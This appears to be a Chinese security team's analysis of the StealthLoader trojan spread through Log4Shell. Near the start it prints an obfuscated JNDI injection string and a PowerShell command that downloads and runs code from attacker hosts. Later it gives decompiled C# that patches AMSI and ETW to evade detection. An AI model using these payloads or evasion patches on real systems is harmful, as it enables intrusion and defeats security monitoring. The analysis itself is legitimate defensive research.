概述
最近log4j爆出重大安全漏洞CVE-2021-44228(也被称为log4shell)。在观测了一系列利用log4shell攻击的活动后,安全研究人员捕获了一批新样本,其中包括StealthLoader。该木马病毒利用宿主机进行挖矿,并尝试逃避探测
漏洞利用方式分析
攻击者采用了一定的混淆方法绕过了防火墙
https://xxx.xxx.xxx/index?
id=${$[::-j]${::-n]${::-d]Sc-i]:S{::-JS{::-d]${::-a}${::-p}://2.56.59[.]123:1389/Basic/Command/Base64,cG93ZXJzaGVsbCAtYyBpZXggKCggTmV3LU9iamVjdCBTeXNOZXQuTmV0LldlYkNsaWVudCApLkRvd25sb2FkU3RyaW5nKCdodHRwczovL3RleHRiaW4ubmV0L3Jhdy8wbDhoNHh1dnhlJykp}
base64解码得到
powershell -c iex (( New-Object SysNet.Net.WebClient ).DownloadString('https://textbin.net/raw/0l8h4xuvxe'))
去textbin下载了一个字符串并执行
0l8h4xuvxe分析
$a="http://2.56.59.123/setup.exe";
$b="c:windowstempsetup.exe";
$c = "c:userspublicsetup.exe";
Import-Module BitsTransfer;
try{
(New-Object System.Net.WebClient).DownloadFile($a, $b);
Start-Process -FilePath $b;
exit;
}catch{};
try{
Start-BitsTransfer -Source $a -Destination $b;
Start-Process -FilePath $b;
exit;
}catch{};
try{
(New-Object System.Net.WebClient).DownloadFile($a, $c);
Start-Process -FilePath $c;
exit;
}catch{};
try{
Start-BitsTransfer -Source $a -Destination $c;
Start-Process -FilePath $c;
exit;
}catch{}
获取了setup.exe,并且下载到两个地方,然后创建进程。目前下载服务器以及无法访问。
这里值得注意的是,同时采用了c#内置类和Start-BitsTransfer两种方式下载,增加下载成功率
setup.exe分析
扔进各种云沙箱试一试
先丢进peid走一波~
是一个由C#写成的病毒文件,并且有混淆
丢进dnspy,找到入口点
private static void DatabaseExists(string[] objectInstance)
{
NamespaceData.SearchResultReferenceCollection searchResultReferenceCollection = new NamespaceData.SearchResultReferenceCollection();
string isForwarder = NamespaceData.get_IsForwarder(); // 获取随机字串,这个字符串也是固定的,使用NamespaceData.PropertiesInError相关作为种子,初始化为空串
string fileName = Process.GetCurrentProcess().MainModule.FileName;
string str = Registry.GetValue("HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System", "SystemBiosVersion", "0").ToString();
object value = Registry.GetValue("HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0", "ProcessorNameString", "0"); // 获取计算机相关信息
NamespaceData.PropertiesInError = str + ((value != null) ? value.ToString() : null);
int num = BitConverter.ToInt32(SHA1.Create().ComputeHash(Encoding.UTF8.GetBytes(NamespaceData.PropertiesInError)), 0); // 由于计算机信息固定,所以每次计算的随机数也是固定的
searchResultReferenceCollection.CommandField_DefaultCancelCaption = new Random(num + 5);
string name = new string(Enumerable.Repeat<string>("abcdefghijklmnopqrstuvwxyz", 5).Select(new Func<string, char>(searchResultReferenceCollection.VisitClientParameter)).ToArray<char>());// 产生的name也是固定的
try
{
Mutex.OpenExisting(name); // 创建互斥体
Environment.Exit(0);
}
catch
{
}
Process process = new Process();
if (!fileName.Contains(isForwarder))
{
File.Copy(fileName, "c:\windows\temp\" + isForwarder + ".exe", true); // 复制文件
process.StartInfo.FileName = "c:\windows\temp\" + isForwarder + ".exe";
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; // 隐藏窗体
process.StartInfo.CreateNoWindow = true;
process.Start(); // 开始进程
return;
}
process.StartInfo.FileName = "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe";
process.StartInfo.Arguments = "/U " + Process.GetCurrentProcess().MainModule.FileName;
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
process.StartInfo.CreateNoWindow = true;
process.Start(); // 启动InstallUtil.exe
Thread.Sleep(5000); // 对抗沙箱
bool flag = false;
Process[] processes = Process.GetProcesses();
for (int i = 0; i < processes.Length; i++)
{
if (processes[i].ProcessName.ToLower().Contains("installutil"))
{
flag = true;
}
}
if (!flag)
{
NamespaceData.InternalInitSortHandle();
}
}
可以看到,样本首先获取一个固定的字符串,然后获取系统信息,利用系统信息创建新的种子,这样每次获取到的字符串都是一样的。然后打开一个随机串代表的互斥体,但是这个互斥体一定是不存在的,所以利用异常控制流来到了下面的代码。
然后开始创建进程,首先将自身复制到temp目录下,启动那个进程,而自己则退出
另一个进程启动后,则继续执行下面的操作,比如启动installutil.exe安装程序,否则就执行NamespaceData.InternalInitSortHandle方法
public static void InternalInitSortHandle()
{
NamespaceData.Point3DCollection point3DCollection = new NamespaceData.Point3DCollection();
NamespaceData.DefaultStartChar = Process.GetCurrentProcess().Handle;
NamespaceData.get_ObjectStateEntry_CannotModifyKeyEntryState();
NamespaceData.set_DataFormatString();
Thread.Sleep(1000);
byte[] rawAssembly = NamespaceData.Write_unsignedByte(NamespaceData.get_UCS4_3412(Convert.FromBase64String("AWaovEI5EN1fKw8MYjzNpjzWUaFLWXMMI4tmB2KTu7s="), CompiledXpathExpr.ChannelPoolKey).ToArray<byte>());
point3DCollection.PnrpPortBlocked = Assembly.Load(rawAssembly);
new Thread(new ThreadStart(point3DCollection.set_ActiveButton)).Start();
for (;;)
{
Console.ReadKey(true); // 阻塞并防止CPU占用过高
}
}
先执行了set_DataFormatString
private static void set_DataFormatString()
{
try
{
IntPtr intPtr = NamespaceData.ReValidateManifestSignatures(NamespaceData.set_CreateNoWindow(NamespaceData.DisconnectTransaction("dpvl1goo")), NamespaceData.DisconnectTransaction("DpvlVfdqExiihu"));
// 这里ReValidateManifestSignatures是DllImport导入的一个函数,DisconnectTransaction是字符串解密函数
// amsi.dll AmsiScanBuffer
byte[] array;
if (!NamespaceData.get_CustomMetadataNames())
{
RuntimeHelpers.InitializeArray(array = new byte[8], fieldof(IconBitmapDecoder.AppSequenceMessageNumber).FieldHandle);
}
else
{
RuntimeHelpers.InitializeArray(array = new byte[6], fieldof(IconBitmapDecoder.WebPartDisplayModeCollection_DuplicateName).FieldHandle);
}
byte[] array2 = array;
uint dwObjectType;
NamespaceData.<System.IObservable<TOutput>.Subscribe>b__7_0(NamespaceData.DefaultStartChar, intPtr, (UIntPtr)((ulong)((long)array2.Length)), 64U, out dwObjectType);
Marshal.Copy(array2, 0, intPtr, array2.Length);
uint num;
NamespaceData.<System.IObservable<TOutput>.Subscribe>b__7_0(NamespaceData.DefaultStartChar, intPtr, (UIntPtr)((ulong)((long)array2.Length)), dwObjectType, out num);
}
catch
{
}
}
将amsi.dll的AmsiScanBuffer更改成了如下指令
0x0: mov eax, 0x80070057
0x5: ret
然后执行了一段汇编代码
通过调试,发现调用了这里
private static void get_ObjectStateEntry_CannotModifyKeyEntryState()
{
try
{
IntPtr intPtr = NamespaceData.ReValidateManifestSignatures(NamespaceData.set_CreateNoWindow(NamespaceData.DisconnectTransaction("qwgoo1goo")), NamespaceData.DisconnectTransaction("HwzHyhqwZulwh"));
// ntdll.dll EtwEventWrite
byte[] array2;
if (!NamespaceData.get_CustomMetadataNames())
{
byte[] array = new byte[3];
array[0] = 194;
array2 = array;
array[1] = 20;
}
else
{
(array2 = new byte[1])[0] = 195;
}
byte[] array3 = array2;
uint dwObjectType;
NamespaceData.<System.IObservable<TOutput>.Subscribe>b__7_0(NamespaceData.DefaultStartChar, intPtr, (UIntPtr)((ulong)((long)array3.Length)), 64U, out dwObjectType);
IntPtr intPtr2;
bool flag = NamespaceData.get_GroupAggBasedExpression(NamespaceData.DefaultStartChar, intPtr, array3, array3.Length, out intPtr2);
uint num;
NamespaceData.<System.IObservable<TOutput>.Subscribe>b__7_0(NamespaceData.DefaultStartChar, intPtr, (UIntPtr)((ulong)((long)array3.Length)), dwObjectType, out num);
}
catch
{
}
}
上面的函数名带有混淆性质,查看DllImport如下
[DllImport("kernel32.dll", EntryPoint = "VirtualProtectEx")]
private static extern bool <System.IObservable<TOutput>.Subscribe>b__7_0(IntPtr inputLanguage, IntPtr pixelsC, UIntPtr Op, uint dwObjectType, out uint show);
// Token: 0x06000004 RID: 4
[DllImport("kernel32", EntryPoint = "LoadLibrary")]
private static extern IntPtr set_CreateNoWindow(string typedMessage);
// Token: 0x06000005 RID: 5
[DllImport("kernel32.dll", EntryPoint = "WriteProcessMemory", SetLastError = true)]
private static extern bool get_GroupAggBasedExpression(IntPtr collectionOfEntityType, IntPtr cbReturn, byte[] totalBytesToSend, int stateGraph, out IntPtr lpPrefixString);
// Token: 0x06000006 RID: 6
[DllImport("kernel32", EntryPoint = "GetProcAddress")]
private static extern IntPtr ReValidateManifestSignatures(IntPtr locKeys, string KeyPair);
先更改了一些属性,然后将ntdll.dll的EtwEventWrite的第一条指令改为ret
行为分析
由于静态分析过于复杂,这里使用火绒进行行为分析,火绒监控到了病毒的释放
根据参考文献[6],该病毒会窃取信息、远程控制等。
重新调试了以下,上面写入汇编代码的地方就是释放病毒的地方,因为尝试保存rawAssembly数组进行分析时火绒检测到了病毒。
总结
经过分析,发现样本中各种函数名、类名都是有误导性质的,这大大干扰了分析工作。并且采用了多种方式比如延时执行、更改dll等方式来对抗沙盒和人工分析。
参考资料
[1] https://research.checkpoint.com/2021/stealthloader-malware-leveraging-log4shell/
[2] https://docs.microsoft.com/en-us/dotnet/api/system.threading.mutex.openexisting?view=net-6.0#:~:text=The%20example%20uses%20the%20OpenExisting%20%28String%29%20method%20overload,to%20read%20and%20change%20permissions%20on%20the%20mutex.
[3] https://docs.microsoft.com/en-us/dotnet/api/system.random?view=net-6.0
[4] https://docs.microsoft.com/en-us/windows/win32/devnotes/etweventwrite
[5] https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory#:~:text=WriteProcessMemory%20copies%20the%20data%20from%20the%20specified%20buffer,to%20be%20written%20to%20can%20call%20the%20function.
[6] https://www.pcthreat.com/parasitebyid-22682en.html
end
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析+AI 长期招新
原文始发于微信公众号(ChaMd5安全团队):利用log4shell传播的StealthLoader病毒分析